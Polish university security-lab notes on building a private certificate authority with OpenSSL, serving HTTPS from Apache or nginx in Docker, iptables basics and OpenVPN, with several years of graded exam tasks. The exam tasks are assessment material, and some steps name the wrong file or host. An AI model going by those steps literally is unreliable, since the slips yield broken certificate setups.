Na potrzeby własnej instytucji można utworzyć własne CA i z jego pomocą generować certyfikaty. Może to ograniczyć koszty utrzymywania certyfikatów podpisywanych przez zaufane CA np. Verisign. Tak utworzone certyfikaty spowodują, że np. przeglądarka internetowa lub inne aplikacje będą generować ostrzeżenia związane z brakiem możliwości weryfikacji podpisu (brakiem zaufania do CA podpisującej wystawiony certyfikat). By uniknąć generowania takich ostrzeżeń, certyfikat własnego CA należy zaimportować do przeglądarki.
Jeśli chcemy mieć bezpłatny certyfikat podpisany przez rozpoznawalne, zaufane CA, można skorzystać z certyfikatów https://letsencrypt.org/. Są to certyfikaty tylko DV, wystawiane na okres 3 miesięcy.
Wyżej opisana koncepcja obiegu informacji związanych z wystawianiem certyfikatów dla podmiotów, wraz z istnieniem organizacji CA poświadczających związek certyfikatu z konkretną instytucją lub osobą nosi nazwę Infrastruktury Klucza Publicznego (ang. Public Key Infrastructure), w skrócie PKI.
Struktura PKI podlega standaryzacji i opiera się na dwóch elementach. Jednym jest standard X.509 opisujący strukturę certyfikatów oraz drugi określany mianem PKCS (ang. Public Key Cryptography Standards).
Wszystkie przykłady w tym dokumencie zakładają wykorzystanie kryptografii RSA. Współczesne wersje OpenSSL mogą korzystać z kryptografii opartej o krzywe eliptyczne (ang. Elliptic Curve Cryptography (ECC)). Główne elementy implementacji ECC w OpenSSL to Elliptic Curve Digital Signature Algorithm (ECDSA) i Elliptic Curve Diffie-Hellman (ECDH). ECDSA służy do podpisywania i weryfikacji podpisów w oparciu o kryptografię krzywych eliptycznych, a ECDH to algorytm bezpiecznego uzgadniania kluczy, np. wspólnego klucza dla szyfrowania symetrycznego.
Dużą zaletą ECC jest znacznie mniejsza długość klucza, więc zyskuje się na wydajności. Poniższa tabela porównuje klucze o takiej samej sile kryptograficznej. Jak widać, długość klucza dla RSA szybko rośnie. Uzyskiwanie coraz większej siły kryptograficznej dla RSA może być, w sensie wydajnościowym, nieopłacalne. Należy więc oczekiwać, że kryptografia ECC będzie coraz szerzej stosowana w certyfikacji oferowanej przez organizacje CA. Certyfikaty RSA są jednak nadal powszechnie tworzone i używane.
Długość klucza dla kryptografii symetrycznej | Długość klucza dla kryptografii niesymetrycznej RSA | Długość klucza dla kryptografii niesymetrycznej ECC |
---|---|---|
80 | 1024 | 160 |
112 | 2048 | 224 |
128 | 3072 | 256 |
192 | 7680 | 384 |
256 | 15360 | 512 |
apt-get install docker.io
docker pull debian:buster docker run -i -t debian:buster bash -l
docker images
W poniższym przykładzie będziemy posługiwać się bezpośrednio programem openssl. Można używać też pod Debianem 10 /usr/lib/ssl/misc/CA.pl, jest to opakowanie do programu openssl, aby łatwiej było tworzyć m.in. własne CA, prośby o certyfikację itp. Por. /usr/lib/ssl/misc/CA.pl -help
openssl genrsa -out ca.key 2048
Klucz prywatny naszego CA wygenerowany w powyższy sposób nie będzie chroniony! Jak to zmienić i czy warto?
Następnie tworzymy certyfikat CA (ważność: 3650 dni, self signed (opcja -x509)):
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
Podajemy niezbędne dane:
Country Name (2 letter code) [AU]:PL State or Province Name (full name) [Some-State]:Mazowieckie Locality Name (eg, city) []:Warszawa Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW Organizational Unit Name (eg, section) []:BSK LAB Common Name (eg, YOUR name) []:CA BSK LAB Email Address []:ca@mimuw.edu.pl Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: pomijamy An optional company name []: pomijamy
W efekcie, w katalogu bieżącym, powstał certyfikat naszego CA (ca.crt) oraz klucz prywatny CA (ca.key)
Tworzymy klucz prywatny i prośbę do CA (bsk.csr) o certyfikowanie wygenerowanego klucza publicznego. Czy klucz prywatny powinien być chroniony hasłem (zaszyfrowany)?
openssl genrsa -out bsk.key 2048 openssl req -new -key bsk.key -out bsk.csr
Podajemy dane
Country Name (2 letter code) [AU]:PL State or Province Name (full name) [Some-State]:Mazowieckie Locality Name (eg, city) []:Warszawa Organization Name (eg, company) [Internet Widgits Pty Ltd]:MIM UW Organizational Unit Name (eg, section) []:BSK LAB Common Name (eg, YOUR name) []:bsklabXX.mimuw.edu.pl (zastąp XX numerem twojej stacji roboczej) Email Address []: bsklab13@mimuw.edu.pl A challenge password []: pomijamy An optional company name []: pomijamy
Ponieważ klucza publicznego używać będziemy do zestawiania połączeń https, Common Name musi być nazwą hosta, dla którego wystawiamy certyfikat (inaczej przeglądarka internetowa będzie wyświetlać komunikat o niezgodności). Można wystawić certyfikat dla kilku nazw domenowych, trzeba wtedy umieścić alternatywne nazwy jako rozszerzenie X.509 v3 subjectAltName. Można włączyć rozszerzenia dla tworzenia csr w pliku /etc/ssl/openssl.cnf i dopisać alternatywne nazwy domenowe. A najlepiej przekopiować ten plik do katalogu domowego, zmodyfikować lokalnie i użyć opcji -config $HOME/myopenssl.cnf przy tworzeniu csr.
Oglądamy nasz csr, sprawdzamy, czy wszystko się zgadza:
openssl req -in bsk.csr -noout -text
openssl x509 -req -in bsk.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bsk.crt
Oglądamy wystawiony certyfikat:
openssl x509 -in example.org.crt -noout -text
Na jak długo został wystawiony certyfikat? By zmienić okres ważności, należy zmienić liczbę dni (tak jak w przypadku tworzenia CA, patrz wyżej). Na końcu gotowy certyfikat znajduje się w pliku bsk.crt
Do podpisywania certyfikatów można też używać modułu openssl ca (zamiast openssl x509).
Do katalogu /etc/ssl/certs/ skopiuj podpisany certyfikat wystawiony dla hosta (bsk.crt). Do katalogu /etc/ssl/private skopiuj odpowiadający certyfikatowi klucz prywatny (bsk.key).
Należy teraz włączyć mod-ssl poleceniem:
a2enmod
po ukazaniu się listy dostępnych modułów, należy wybrać ssl.
Następnie trzeba włączyć obsługę konfiguracji ssl:
a2ensite
i wybrać default-ssl.
W pliku konfiguracyjnym /etc/apache2/sites-available/default-ssl ustawić odpowiednie nazwy zainstalowanego certyfikatu i klucza prywatnego:
SSLCertificateFile /etc/ssl/certs/bsk.crt SSLCertificateKeyFile /etc/ssl/private/bsk.key
i zrestartować serwer http:
systemctl restart apache2
Teraz już można się cieszyć dostępem po https. Można to sprawdzić przeglądarką:
https://bsklab13.mimuw.edu.pl/
Przeglądarka wyświetli ostrzeżenie mówiące o braku zaufania do CA, które podpisało certyfikat dla hosta solab13 (czyli CA, które stworzyliśmy na początku tych ćwiczeń). Jeśli ufasz swojemu lokalnemu CA, możesz zaimportować do przeglądarki certyfikat lokalnej CA z pliku DemoCA/cacert.pem. Po zaimportowaniu certyfikatu CA, przeładuj stronę - nie powinna już generować ostrzeżeń.
Połącz się ze stroną https://localhost.
Dlaczego generowane jest ostrzeżenie?
Obowiązkowa: ten dokument.
Obowiązkowa: dokument dostępny na Ważniaku (informacje tu mogą być lekko nieaktualne, ale prawdziwe co do koncepcji,
niekoniecznie co do implementacji:)
http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...
Nieobowiązkowa:
https://www.openssl.org/
https://gnutls.org/
1. Uruchom vserver o nazwie vserver1 z podstawowym środowiskiem. Nazwa gościa: solabvxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa większy o 200 od adresu IP hosta. Skonfiguruj ssh tak, aby dało się zalogować na roota, ale tylko do vservera. Wewnątrz systemu gościa uruchom serwer http (apache2) tak, aby dało się do niego połączyć protokołem http.
2. Utwórz własne CA o następujących parametrach:
CN = BSK CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat
3. Wygeneruj prośbę o wydanie certyfikatu dla hosta solabxx.mimuw.edu.pl:
OU = MIM UW SO LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer stacji roboczej (zawarty w hostname)
Termin ważności: 3 lata
4. Wystaw certyfikat dla solabxx.mimuw.edu.pl za pomocą utworzonego CA.
5. Skonfiguruj serwer http apache, tak, aby można się było połączyć do hosta z użyciem protokołu https. Ciekawsza wersja zadania dla zainteresowanych: Wykonać j.w. ale w vserverze (środowisku systemu gościa).
6. Zaimportuj certyfikat CA do przeglądarki firefox (iceweasel)
7. Wystaw certyfikat dla hosta hydra.mimuw.edu.pl i użyj go w konfiguracji swojego serwera http. Jak przeglądarka reaguje na próbę połączenia z Twoim hostem o nazwie solabxx?
1. Utwórz i uruchom vserver o nazwie vserver1 z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer telnet, tak, aby dało się z nim połączyć klientem telnet uruchomionym w systemie hosta.
2. Utwórz własne CA o następujących parametrach:
CN = BSK CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 4 lata
3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
vsolabxx.mimuw.edu.pl:
OU = MIM UW SO LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer stacji roboczej (zawarty w hostname)
Termin ważności: 2 lata
4. Wystaw certyfikat dla vsolabxx.mimuw.edu.pl za pomocą utworzonego CA
5. Na gościu ( vsolabXX ) skonfiguruj serwer http apache tak, aby można się było połączyć z użyciem protokołu https.
6. Skonfiguruj system hosta tak, by nie pojawiały się ostrzeżenia przeglądarki przy próbie połączenia https z vsolab03.mimuw.edu.pl.
7. Wystaw certyfikat dla hosta hydra.mimuw.edu.pl i użyj go w konfiguracji swojego serwera http. Jak przeglądarka reaguje na próbę połączenia z Twoim hostem o nazwie vsolabxx?
1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie
hosta.
2. Utwórz własne CA o następujących parametrach:
CN = BSK LAB CA
OU = BSK
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 10 lat
3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
solabxx.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
gdzie xx to numer Twojej stacji roboczej (zawarty w hostname)
Termin ważności: 4 lata
4. Wystaw certyfikat dla solabxx.mimuw.edu.pl za pomocą utworzonego CA.
5. Na hoście przy którym pracujesz skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat.
6. Skonfiguruj system hosta tak, by nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.
7. Wystaw certyfikat tzw. self-signed na 365 dni i użyj go w konfiguracji apache zamiast utworzonego w p. 4.
Która metoda wygenerowania certyfikatu jest lepsza w sensie bezpieczeństwa? Należy zauważyć, iż w obu przypadkach nie używamy zewnętrznego, zaufanego Centrum Certyfikacji.
1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.
Ogranicz pamięć (RSS) dla gościa do 64MB. Sprawdź, czy ustawiony limit działa.
2. Utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 15 lat
3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
www.solab.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat
4. Wystaw certyfikat dla www.solab.mimuw.edu.pl za pomocą utworzonego CA.
5. Na hoście przy którym pracujesz skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą www.solab.mimuw.edu.pl był dostępny Twój serwer
z zainstalowanym wcześniej certyfikatem.
6. Zadbaj o to, aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.
7. Połącz się za pomocą protokołu https korzystając z faktycznej nazwy Twojego hosta (solabxx.mimuw.edu.pl). Jak zinterpretujesz
komunikat utworzony przez przeglądarkę?
1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx,
gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.
Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.
Ogranicz pamięć (RSS) dla gościa do 128MB. Sprawdź, czy ustawiony limit działa.
2. Utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 15 lat
3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
*.ssltest.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat
4. Wystaw certyfikat dla *.ssltest.mimuw.edu.pl za pomocą utworzonego CA.
5. Na solabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwami www.ssltest.mimuw.edu.pl
i www2.ssltest.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem.
Pod nazwami www.ssltest.mimuw.edu.pl i www2.ssltest.mimuw.edu.pl
powinna być serwowana inna treść (np. pliki index.html o różnej zawarości).
6. Zadbaj o to, aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.
Jakią rolę pełni w tym certyfikat wystawiony z CN *.ssltest.mimuw.edu.pl? Jakie ma to konsekwencje dla bezpieczeństwa
serwera/serwerów http używających tego certyfikatu? Dlaczego warto/nie warto wystawiać
certyfikatu dla *.ssltest.mimuw.edu.pl zamiast dla www.ssltest.mimuw.edu.pl i www2.ssltest.mimuw.edu.pl
osobno?
7. Połącz się za pomocą protokołu https korzystając z faktycznej nazwy Twojego hosta (https://solabxx.mimuw.edu.pl). Jak zinterpretujesz serwowaną treść i komunikat utworzony przez przeglądarkę?
Zaliczenie 2014
1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.
2. Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.
3. Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie hosta. Możesz wyłączyć serwer http na systemie gospodarza. Powinieneś móc połączyć się z http://vsolabxx i http://vsolabxx.mimuw.edu.pl. Zmień domyślną zawartość pliku index.html.
4. W systemie gospodarza utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIMUW
C = PL
Termin ważności: 10 lat
5. Wygeneruj prośbę o wydanie certyfikatu dla hosta vsolabxx:
CN = vsolabxx.mimuw.edu.pl
OU = BSK LAB
ST = Mazowieckie
O = MIMUW
C = PL
Termin ważności: 2 lata
6. Wystaw certyfikat dla vsolabxx.mimuw.edu.pl za pomocą utworzonego CA.
7. Na vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://vsolabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.
8. Połącz się za pomocą protokołu https korzystając ze skróconej nazwy Twojego hosta (https://vsolabxx). Jak zinterpretujesz komunikat utworzony przez przeglądarkę?
Zaliczenie 2015
Niech xx będzie numerem w nazwie komputera, przy którym pracujesz (np. 10 dla solab10).
1. Utwórz i uruchom VServer o nazwie vsolabxx z podstawowym środowiskiem. Adres IP vsolabxx niech będzie większy o 200 od adresu IP hosta.
2. Na systemie gospodarza (solabxx) zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu gościa.
3. Na systemie gościa (vsolabxx) zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie gospodarza. Możesz wyłączyć serwer http na systemie gospodarza. Zmień domyślną zawartość pliku /var/www/index.html na vsolabxx oraz /etc/hosts na solabxx. Powinieneś móc połączyć się z http://vsolabxx.mimuw.edu.pl.
4. W systemie gospodarza utwórz własne CA o następujących parametrach:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = BSK Certification Authority
mail = ca@mimuw.edu.pl
Termin ważności: 10 lat
5. Wygeneruj prośbę o wydanie certyfikatu dla:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = bsklabxx.mimuw.edu.pl
mail = bsk@mimuw.edu.pl
Termin ważności: 4 lata
6. Wystaw certyfikat dla bsklabxx.mimuw.edu.pl za pomocą utworzonego CA.
7. Na vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://bsklabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.
8. Połącz się z https://vsolabxx.mimuw.edu.pl. Jak zinterpretujesz komunikat utworzony przez przeglądarkę?
Zaliczenie 2016
Niech xx będzie numerem w nazwie komputera, przy którym pracujesz (np. 10 dla solab10).
1. Utwórz i uruchom kontener Dockera o nazwie vsolabxx.
2. W kontenerze zainstaluj serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie gospodarza. Możesz wyłączyć serwer http na systemie gospodarza. Zmień domyślną zawartość pliku /var/www/index.html na vsolabxx oraz /etc/hosts na solabxx. Powinieneś móc połączyć się z http://vsolabxx.mimuw.edu.pl. Skonfiguruj kontener tak, aby polecenie docker run dla tego kontenera uruchamiało serwer apache2.
3. W systemie gospodarza utwórz własne CA o następujących parametrach:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = BSK Certification Authority 16
mail = ca@mimuw.edu.pl
Termin ważności: 10 lat
4. Wygeneruj prośbę o wydanie certyfikatu dla:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = bsklabxx.mimuw.edu.pl
mail = bsk@mimuw.edu.pl
Termin ważności: 4 lata
5. Wystaw certyfikat dla bsklabxx.mimuw.edu.pl za pomocą utworzonego CA.
6. W pliku Dockerfile konetnera vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://bsklabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.
7. Połącz się z https://vsolabxx.mimuw.edu.pl.
Zaliczenie 2018
Niech xxx będzie trzema ostatnimi cyframi Twojego numeru albumu (np. 123).
1. W systemie gospodarza utwórz własne CA o następujących parametrach:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = BSK Certification Authority 18
mail = ca@mimuw.edu.pl
Termin ważności: 10 lat
2. Wygeneruj prośbę o wydanie certyfikatu dla:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = bskxxx.mimuw.edu.pl
mail = bsk@mimuw.edu.pl
Termin ważności: 4 lata
3. Wystaw certyfikat dla bskxxx.mimuw.edu.pl za pomocą utworzonego CA.
4. Utwórz i uruchom kontener Dockera o nazwie bsk. Niech w tym kontenerze zostanie zainstalowany serwer http nginx tak, aby dało się z nim połączyć po protokole https przeglądarką uruchomioną w systemie gospodarza. Wgraj we właściwe miejsce własny plik index.html, aby po połączeniu się z https://bskxxx.mimuw.edu.pl widać było jego zawartość. Może istnieć potrzeba dopisania do /etc/hosts gospodarza nazwy bskxxx.mimuw.edu.pl. Skonfiguruj kontener tak, aby polecenie docker run dla tego kontenera uruchamiało serwer nginx.
Spraw, aby po połączeniu z https://bskxxx.mimuw.edu.pl przeglądarka nie wyświetlała ostrzeżenia.
Do utworzenia konfiguracji nginx należy wykorzystać utworzony wcześniej certyfikat.
Zadanie 2019
Księgarnia Radagast posiada aplikację do katalogowania z dość niewygodnym
interfejsem.
Dla zwiększenia komfortu i efektywności, dostęp do katalogu będzie możliwy
dla pracowników księgarni za pomocą przeglądarki. Aplikacja ma być dostępna po
wpisaniu nazwy radagast.store lub zwyczajowo www.radagast.store.
W przyszłości ma zostać także uruchomiony webmail do wygodnej obsługi pracowniczej poczty
dostępny pod adresem mail.radagast.store.
Wymienione wyżej usługi będą wymagały logowania, należy więc zapewnić
bezpieczny dostęp po protokole https. Ponieważ zarząd księgarni zdecydował się
jednocześnie na cięcie wszelkich kosztów, nie ma budżetu na zakup certyfikatów.
W takiej sytuacji należy przygotować następujące rozwiązanie.
1. Utworzyć Radagast CA o następujących parametrach:
Długość klucza RSA: 4096.
C = PL
ST = Mazowieckie
LN = Warszawa
ON = Radagast Bookstore
OU = Radagast Bookstore IT Department
CN = Radagast Bookstore Certificate Authority 19
mail = login@radagast.store
Login to nazwa użytkownika na students.
Termin ważności: 10 lat
Dla bezpieczeństwa klucz prywatny CA powinien być chroniony --
zaszyfrowany aes256.
2. Wystawić CSR z kluczem RSA 4096 bit uwzględniający wszystkie wymienione wyżej nazwy domenowe,
tak, aby można było używać tylko jednego certyfikatu.
3. Na podstawie powyższego CSR wystawić certyfikat, wystawcą ma być
oczywiście Radagast CA. Termin ważności certyfikatu: 2 lata.
4. Skonfigurować serwer nginx (z obsługą https przy pomocy wyżej wygenerowanego
certyfikatu). Serwer nginx powinien uruchamiać się jako proces
w kontenerze dockera. Należy utworzyć Dockerfile z opisem obrazu
opartego o Debiana 10, z konfiguracją dla https, wgrywaniem
certyfikatów, uruchamianiem procesu nginx, tak, aby dało się
wykonać polecenie docker run .
Testowanie powinno sprowadzić się do następujących kroków:
docker build .
docker run id_obrazu
Następnie testować przeglądarką. Może być konieczne dopisanie
nazw radagast.store, www.radagast.store, mail.radagast.store do /etc/hosts,
aby działało rozwiązywanie nazw.
Należy zaimportować certyfikat Radagast CA do przeglądarki, aby podpis
na certyfikacie serwera mógł być weryfikowany -- nie może się pojawiać
ostrzeżenie o nieznanym wydawcy lub złej nazwie domeny.
Zadanie 2020
Green Forest Bank zamierza uruchomić portal wewnętrzny dostępny dla pracowników
tylko z sieci wewnętrznej zawierający informacje o zatrudnieniu, rozliczenia urlopów
i inne dane związane z HR.
Dostęp do portalu będzie wymagał logowania, w obecnych czasach, połączenie
(wykonywane nawet w sieci lokalnej) powinno być chronione -- dostęp możliwy jedynie
po protokole HTTPS.
Nazwa domenowa portalu to: prac.gfb.intra.
Ponieważ zarząd banku zdecydował się na ograniczanie kosztów w tym zakresie, nie uzyskano
finansowania na zakup certyfikatów dla potrzeb serwisów w sieci lokalnej.
W takiej sytuacji należy przygotować następujące rozwiązanie.
1. Utworzyć Green Forest Bank CA o następujących parametrach:
Długość klucza RSA: 4096.
C = PL
ST = Mazowieckie
LN = Warszawa
ON = Green Forest Bank
OU = Green Forest Bank IT Department
CN = Green Forest Bank Certificate Authority (login)
"Login" widoczny wyżej, to nazwa użytkownika na students.
Termin ważności: 8 lat
Dla bezpieczeństwa klucz prywatny CA powinien być chroniony --
zaszyfrowany aes256.
Wystawić CSR z kluczem RSA 4096 bit uwzględniający nazwę domenową serwisu.
3. Na podstawie powyższego CSR wystawić certyfikat, wystawcą ma być
oczywiście Green Forest Bank CA. Termin ważności certyfikatu: 18 miesięcy.
4. Skonfigurować serwer nginx (z obsługą HTTPS przy pomocy wyżej wygenerowanego
certyfikatu). Serwer nginx powinien uruchamiać się jako proces
w kontenerze dockera. Należy utworzyć Dockerfile z opisem obrazu
opartego o Debiana 10, z konfiguracją dla HTTPS, wgrywaniem
certyfikatów, uruchamianiem procesu nginx, tak, aby dało się
wykonać polecenie docker run id_obrazu
Testowanie powinno więc sprowadzić się do następujących kroków:
docker build .
docker run id_obrazu
Następnie, konfigurację należy przetestować przeglądarką. Może być konieczne dopisanie
nazwy prac.gfb.intra do /etc/hosts, aby działało rozwiązywanie nazw.
Należy zaimportować certyfikat CA do przeglądarki, aby podpis
na certyfikacie serwera mógł być weryfikowany -- nie może się pojawiać
ostrzeżenie o nieznanym wydawcy lub złej nazwie domeny.
Zapora sieciowa ma za zadanie filtrować ruch przychodzący i wychodzący z danego urządzenia sieciowego (na przykład komputera). Dzięki filtrowaniu ruchu możemy zapewniać różnego rodzaju zasady bezpieczeństwa związane z danym urządzeniem sieciowym. Obsługa sieci w Linuksie jest obecnie wbudowana w jądro. Jednym z jej elementów jest netfilter, zestaw modułów do filtrowania pakietów.
Netfilter posiada narzędzia dostępne zewnętrznie, służące do określenia reguł przesyłania pakietów (to nie tylko filtrowania, moga one
być zmienione podczas przechodzenia przez zaporę). Najpopularniejsze to iptables (poprzednio używano ipchains,
ale dokumenty opisujące je należy traktować jako ciekawostkę historyczną). Iptables oparte jest o pojęcie reguły -- przepisu mówiącego,
co należy zrobić z pakietem spełniającym określone warunki. Na przykład reguła
iptables -A FORWARD -i eth0 -p tcp --sport 80 -m string --string '|7F|ELF' -j DROP
zablokuje ładowanie z sieci programów w formacie ELF.
Podstawowa funkcjonalność zapory polega na filtrowaniu pakietów, które przepuszcza tylko te pakiety, które odpowiadają wyznaczonym przez nas zasadom bezpieczeństwa. Pakiety, które nie są przepuszczane mogą być porzucane po cichu lub też odrzucane z komunikatem do nadawcy. W zaporze sieciowej możemy filtrować zarówno ruch przychodzący, jak i wychodzący. Reguły filtrowania mogą być dosyć skomplikowane, w tym mogą uwzględniać stan protokołu, dla którego wykonywane jest filtrowanie.
Kolejną ważną funkcjonalnością zapory jest możliwość wykonywania translacji adresów. Istnieją dwa główne rodzaje translacji adresów:
Uwaga: By korzystać z translacji adresów, zwykle trzeba zezwolić na przekazywanie pakietów ip przez jądro:
echo 1 > /proc/sys/net/ipv4/ip_forward
Jeszcze inną ważną funkcjonalnością jest możliwość modyfikowania różnych fragmentów przechodzących pakietów (w istocie translacja adresów jest też przykładem tego rodzaju funkcjonalności). Dzięki temu możemy pakiety tak modyfikować, że poruszają się po sieci w bardziej regularny lub łatwiej sterowalny sposób.
Często w praktyce administracyjnej przydaje się także możliwość rejestrowania różnego rodzaju sytuacji sieciowych. Zapory pozwalają na śledzenie i rejestrowanie wielu sytuacji. Przydaje się to do optymalizowania ruchu w sieci oraz wykrywania usterek w jej konfiguracji.
Dalsze informacje do przeczytania przed zajęciami:
Wymagania dotyczące poufności, tajemnic produkcyjnych firm oraz konieczność umożliwiania pracownikom pracy zdalnej, w tym z domu, powoduje, że konieczne jest wprowadzanie metod udostępniania sieci wewnętrznej firmy przez szyfrowane kanały. Zwykle praca bezpośrednio za pomocą protokołu SSH jest niewystarczająca, dlatego sięga się po bardziej specjalizowane rozwiązania, takie jak VPN, które pozwalają na przekazywanie szyfrowanym kanałem całego ruchu sieciowego (bez konieczności ustanawiania odrębnych tuneli dla różnych aplikacji oraz bez ograniczenia się do protokołu TCP).
Wśród rozwiązań VPN dostępne są dwa podejścia:
Zasadnicza różnice między tymi dwoma podejściami:
Do tworzenia sieci VPN na bazie protokołu SSL służy OpenVPN.
Do tworzenia sieci VPN na bazie IPsec służy Openswan.
Dalsze informacje do przeczytania przed zajęciami:
Celem ćwiczeń jest budowanie poprawnej konfiguracji VPN krok po kroku.
Załóżmy, że komputer serwera VPN to vpn-server (adres ip ip-server), a klienta to vpn-client (adres ip ip-client).
Będziemy stawiać tunel VPN o adresach 10.0.0.1 (serwer) / 10.0.0.2 (klient)
Na obu komputerach:
apt-get install openvpn
vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote 192.168.1.10
Sprawdź, czy serwer nasłuchuje na porcie 1194 (:openvpn):
vpn-server# netstat -l | grep openvpn
Sprawdź, czy jest połączenie po vpn między komputerami:
vpn-client# ping 10.0.0.1
vpn-server# ping 10.0.0.2
Stwórz klucz:
vpn-server# openvpn --genkey --secret vpn-shared-key
Przegraj klucz do komputera klienta:
vpn-server# scp vpn-shared-key root@vpn-client:
Włącz vpn:
vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --secret vpn-shared-key 0
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote ip-server --secret vpn-shared-key 1
Upewnij się, że tunel działa. Sprawdź, czy klient może korzystać z tunelu gdy nie ma klucza.
Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/easy-rsa
Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab
Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:
vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client
Przekopiuj certyfikaty ca.cert, vpn-client.crt i klucz vpn-client.key na vpn-client.
